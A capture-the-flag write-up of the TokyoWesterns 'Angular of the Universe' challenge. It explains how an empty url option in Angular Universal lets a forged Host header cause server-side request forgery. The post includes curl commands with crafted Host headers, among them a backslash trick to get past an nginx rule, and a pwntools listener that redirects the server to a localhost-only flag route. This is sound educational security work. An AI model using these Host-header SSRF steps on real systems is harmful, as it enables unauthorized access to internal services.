We took part in TokyoWesterns CTF this past weekened and I focused on solving the web exploitation challenges. We were able to solve the first set of angular js challenges and I learned that recaptcha gadgets are very useful. Overall, the CTF definitely deserves its high point value and it was very fun and educational.

Angular of the Universe #

You know, everything has the angular.
A bread, you, me and even the universe.
Do you know the answer?

http://universe.chal.ctf.westerns.tokyo

This challenge gave us a web application written in angular js. It made it very clear what we were supposed to do. In order to get the first flag we had to display the /debug/answer route. For the second flag, we had to call the api route /api/true-answer. You will see that this writuep will go a little out of order and we will actually tackle getting the second flag first. This is due to the exploit we used.

Flag 2 #

Here is the relevant source code to getting the flag.

server.get('/api/true-answer', (req, res) => {
  if (req.ip.match(/127\.0\.0\.1/)) {
    res.json(`hello admin, this is true answer: ${process.env.FLAG2}`)
  } else {
    res.status(500).send('Access restricted!')
  }
});

There is just one check that the request must be coming from localhost. After looking at the server and the angular app, there seemed to be no clear routes for SSRF so we decided to look more closely at the angular app.

Looking at the source code and the challenge title it seems like that main premise of the challenge is both angular js and more specifically, the universal rendering engine. The documentation for the universal rendering engine can be found here. It is essentially a rendering engine that enables the angular app to be server side rendered. Upon realizing this, two ideas came to mind. The first was getting the angular router to render something it was not supposed to (which we did not completely find and was the solution to another-universe :( ) and the second thought was to get SSRF because likely the app needs to fetch data from an API.

Diving into the source code, we see that when we visit the answer component, a request is actually being made by the server. In answer.service.ts there is a function which requests data from an API and displays it.

getAnswer() {
  return this.http.get('/api/answer')
}

This seems like a perfect candidate for SSRF but no user parameter is taken in, how can we get SSRF?

This is where a minute change in the universal engine comes into play. Specifically, the last section of the documentation describes how URLs should be handled. It mentions passing in the full base URL to the url parameter of the universal engine. Let’s take a look at what it is in the application.

res.render(indexHtml, {
  req,
  url: '',
  providers: [
    { provide: APP_BASE_HREF, useValue: req.baseUrl },
  ]
});

It’s quite odd that the URL parameter is passed in as empty. If we just wanted to use aboslute routing, it would probably be OK to not provide the parameter. This prompted us to investigate the universal-angular source code. We found a significant line in the source code here. It states the following.

renderOptions.url =
	renderOptions.url || `${req.protocol}://${(req.get('host') || '')}${req.originalUrl}`;

Knowing that the url parameter is explicity passed in as an empty string which is falsey, this means the url option actually becomes PROTOCOL + HOST. This means we can control the base of where all requests are directed to. Fortunately, we also know that when visiting the /answer route there is also an HTTP request which is being made. The final challenge was the host header and because we see that Nginx is configured to let our host header through with the line proxy_set_header Host $host;, the path to exploitation is clear.

In order to test the exploit, I launched a netcat listener on my server on port 80. I then sent the following request to the challenge server.

curl -H "Host: jmy.li" http://universe.chal.ctf.westerns.tokyo/a

Immediately I saw a connection requesting /api/answer. Great so now we are able to get the server to request information from our server but what can we do with this? Because our goal was to pull the information from /api/true-answer we responded with a redirect which the angular server understood and happily go the information from to display. In order to implement this I like writing a server with pwntools and sending the redirect request. This could also easily be done via netcat.

from pwn import *
from time import sleep

context.log_level = 'debug'

l = listen(80)
c = l.wait_for_connection()
print('[*] Connection was made to our server')

c.recv()

sleep(0.25)

CLRF = '\r\n'

resp = 'HTTP/1.1 301 Moved Permanently' + CLRF
resp += 'Location: http://127.0.0.1/api/true-answer' + CLRF
resp += CLRF

c.send(resp)

With this script running on our server, I then just resend the request to answer with the host set to my server which would redirect the angular server to /api/true-answer and finally display the flag.

Flag 1 #

Now for part 1 of the challenge. We knew that because this was a javascript server, there was likely something we could do with express such as encodings to get the flag but instead we decided to pursue using our SSRF further.

Why can’t we just request the route? It’s not because of angular but rather because of this configuration in Nginx.

location /debug {
  # IP address restriction.
  # TODO: add allowed IP addresses here
  allow 127.0.0.1;
  deny all;
}

There is also the following check in the express source code.

server.get('*', (req, res) => {
  if (process.env.FLAG && req.path.includes('debug')) {
    return res.status(500).send('debug page is disabled in production env')
  }

We did not know of a way to bypass this via nginx so we chose to continue to use our SSRF.

This next behavior is actually unclear to me why it happens but I assume it is because of some the internals of the angular router. (The source was too big for me to want to look at :( ) The bypass was by appending part of our route to the header. For example, setting our host to /debug and then visiting http://universe.chal.ctf.westerns.tokyo/answer.

From previous experience, we knew that nginx would filter against / but permit \ in the host header. The exact reasoning you can find in my writeup for viper from redpwnctf. Combining this information, we see that if we set our header to \debug and visit http://universe.chal.ctf.westerns.tokyo/answer we would get the flag. The final command is the following.

curl -H "Host: \debug" http://universe.chal.ctf.westerns.tokyo/answer

This isn’t a traditional SSRF in the sense that we are displaying the result from visiting the route. Instead, what appears to be happening is the universal-engine is using the url parameter it is passed as part of its routing choice and not just redirection.

Having read Terjanq’s writeup here it seems the intended solution was to bypass Nginx and Express at the same time using a combination of the \ trick and encoding.

Overall, this CTF was very educational, fun, and difficult. I learned a lot about angular internals as well as server side rendering. I also mentioned that an approach we looked at was forcing angular to render a different component. This was actually the solution to another-universe and although we weren’t able to get the solve during the competition, I recommend reading Terjanq’s writeup for more details.